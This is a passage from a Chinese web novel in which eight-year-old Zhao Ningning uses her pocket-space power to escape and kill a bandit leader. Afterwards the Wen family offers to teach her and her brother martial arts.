还不到低头的时候,温子川道:“表哥,快去救赵姑娘!” “可是!”温子客很难挪开脚,“上次我们没人护着你!你差点被贼人给伤了!” “要不是赵姑娘,我上次就死了。”温子川站在赵启旁边,“还有赵兄在,你快去!” 温子客很想说赵启他又不会武功,他在有啥用。 但表弟的吩咐他不得不听,只能咬牙提着剑去追。 被抓之后,赵宁宁自个都懵了一下,很快她反应过来,她得想办法破局! 心念急转之间,赵宁宁从空间拿出匕首,拔出刀鞘用尽力气扎在马屁股上。 悍匪身下的马一声长长的嘶鸣,前蹄腾空疯狂的尥蹶子。 猝不及防之下,那悍匪的身子后仰,他没法一手抓着人质一手抓着砍刀。 趁他愣神之际,赵宁宁用脚勾住上马的脚蹬,一个借力,从悍匪手中脱出,朝地上滚去。 赵宁宁顺势一个翻滚,爬到草丛里头。 堂堂震天帮的领头就这样被一个小姑娘给耍了! 他气得脸色发青,抛下因吃痛而发疯的马,举着砍刀便朝那小姑娘藏身的草丛里砍。 赵宁宁岂会躲在原地让他砍?!她手脚并用地往前爬了一段,到没有草的地方,立马爬起来朝前头跑。 只要把人引到没人的地方,她就可以用电梯厅的大石头砸人了! 赵宁宁和赵启在路上没少复盘之前的不足,他们两个人小力气小,只能利用空间优势。 想到大石头砸人的法子之后,赵宁宁把电梯厅里的东西统统腾挪到家里头,特意找了两块比人还高的石头给收进去。 想着跑着,赵宁宁跑到一处斜坡,见身后除了悍匪没有旁人追来,赵宁宁个脚滑,坐在地上哎呦叫唤。 追过来的悍匪眼前一亮,心底冷笑:不愧是大户人家的小姐,也就脑子聪明点,身体娇弱得不行!跑两步就摔了! 猎物没有行动的能力,悍匪提着刀过去,走到近前了,他才,骂道:“让你伤我的宝马——” 高高举起手中砍刀,他往下一砍。 地上的人消失了! “不见了!” 悍匪心中惶然,转头看向四周,斜坡这里空荡荡的,连个人影都不见。 “去哪了!” 一个大活人怎么可能凭空消失!难道是——难道是见鬼了! 躲在空间里的赵宁宁等他转过身的那一刹那,抓住机会,将空间里的大石头丢出去! 上百斤的大石头从上方落下,等悍匪发现头顶有片阴影的时候,已来不及躲闪。 下一刻,他被石头紧紧压在地上。 这点高度不足以用大石头把他直接给砸死。 趁他被石头丫的动弹不了的机会,赵宁宁用脚把他手中的砍刀踢飞,捡起来将他的双手和双脚给砍下来。 身后不远处,温子客焦急的呼喊声传来。 赵宁宁摸着大石头,将石头收回空间,不等悍匪反应,拿着大刀给他心口来了一下。 “赵姑娘——” “赵!” 温子客追过来,看到地上悍匪的惨状,不禁有些瞠目结舌。 赵宁宁犹豫了一下,砍下悍匪的头,对温子客说:“走!” “赵、赵姑娘。”温子客咽了口唾沫,跟在赵宁宁身后。 他有些不敢相信,这是一个八岁的小姑娘能做出来的? 她仅凭自己就把一个八尺高的壮汉给撂倒且打赢了?! 赵宁宁没空搭理他,她哥还在车上生死未卜着呢! 回到马车被截停的地方,赵宁宁把手中的人头往地上一丢,“你们老大的头已经被我砍了!快住手!” 那边的小喽啰本来不信,抽空看了一眼,刚才被抓的小姑娘完好无损地回来了! 她脚边沾满泥泞的球状物,正是自家老大的头颅! 一个分神,温家人的长剑便给了他致命一击。 都不用喊停,温家人趁势将剩下几人给围剿了。 “宁宁!”赵启从车上跳下来,拉着妹妹的胳膊上下打量,“你没事吧!?” 赵宁宁摇头,“我没事。” “赵姑娘……”温子川从车上下来,走到赵宁宁旁边,“赵姑娘有没有受伤?” “没有没有!”赵宁宁摆手,温家人在打扫战场,把碍眼的尸体摸了一遍丢下山坡,去安抚受惊的马匹,打完架之后,队伍里又多了十匹马! 那个被赵宁宁扎了屁股的马不知道跑哪去了,温家队伍没有去追的想法。 天色尚早,他们不准备在这里停留,队伍又开始出发。 坐在马车上,温子川问:“表哥,赵姑娘她是如何把那个领头的山匪给杀了的?” 温子客摇头:“我也不知道,我过去的时候,赵姑娘给了那劫匪心头一刀,正往外拔刀。” “那劫匪死的时候,手脚都被砍断了。” 温子川想了一晌,都没想通赵宁宁是如何做到的。 但他能感觉得出,赵宁宁是个有急智的姑娘。 被抓走之后,若不是她及时想了法子自救,后果不堪设想。 温子川沉吟片刻,说:“子客,你说我们教他们兄妹二人温家的武功如何。” 听见这话,温子客吓了一跳,“咱们温家的武功不是只教温家人吗!” “他们两个救了我的命。”温子川说:“温家的秘学不教,普通招式可以。” 温子客被吓飞的心这才回到肚子里,“就算是普通招式……算了算了,你才是掌事的人,我听你的!” 等晚上吃饭,温子川亲自找到赵宁宁兄妹,将自己的来意说了。 赵宁宁放下手里的碗,双手摩挲了一下,不可置信地问:“你说你要教我们武功?” 温子川纠正:“不是我教,是我表哥,他武功最好。” 赵宁宁:“是你表哥那种飞来飞去的轻功!?还有长剑嗖嗖的那个招式?!” 想了想,温子川点头:“嗯。” 赵宁宁差点没幸福地晕过去,她拉着赵启的手,“哥,我现在有点缺氧。” 温子川:“?” 赵启解释:“她太高兴了,有点喘不过气。” “那可是轻功!学会了能飞!”赵宁宁两眼冒光,“谢谢你!温少爷!” “不必如此客气。”温子川说:“叫我温子川便可。” 由温子川牵头,赵宁宁和赵启一起跟着先背口诀。 口诀约有一千多字,赵启记下,两人晚上回空间用电脑记下来再研究着翻译一下意思。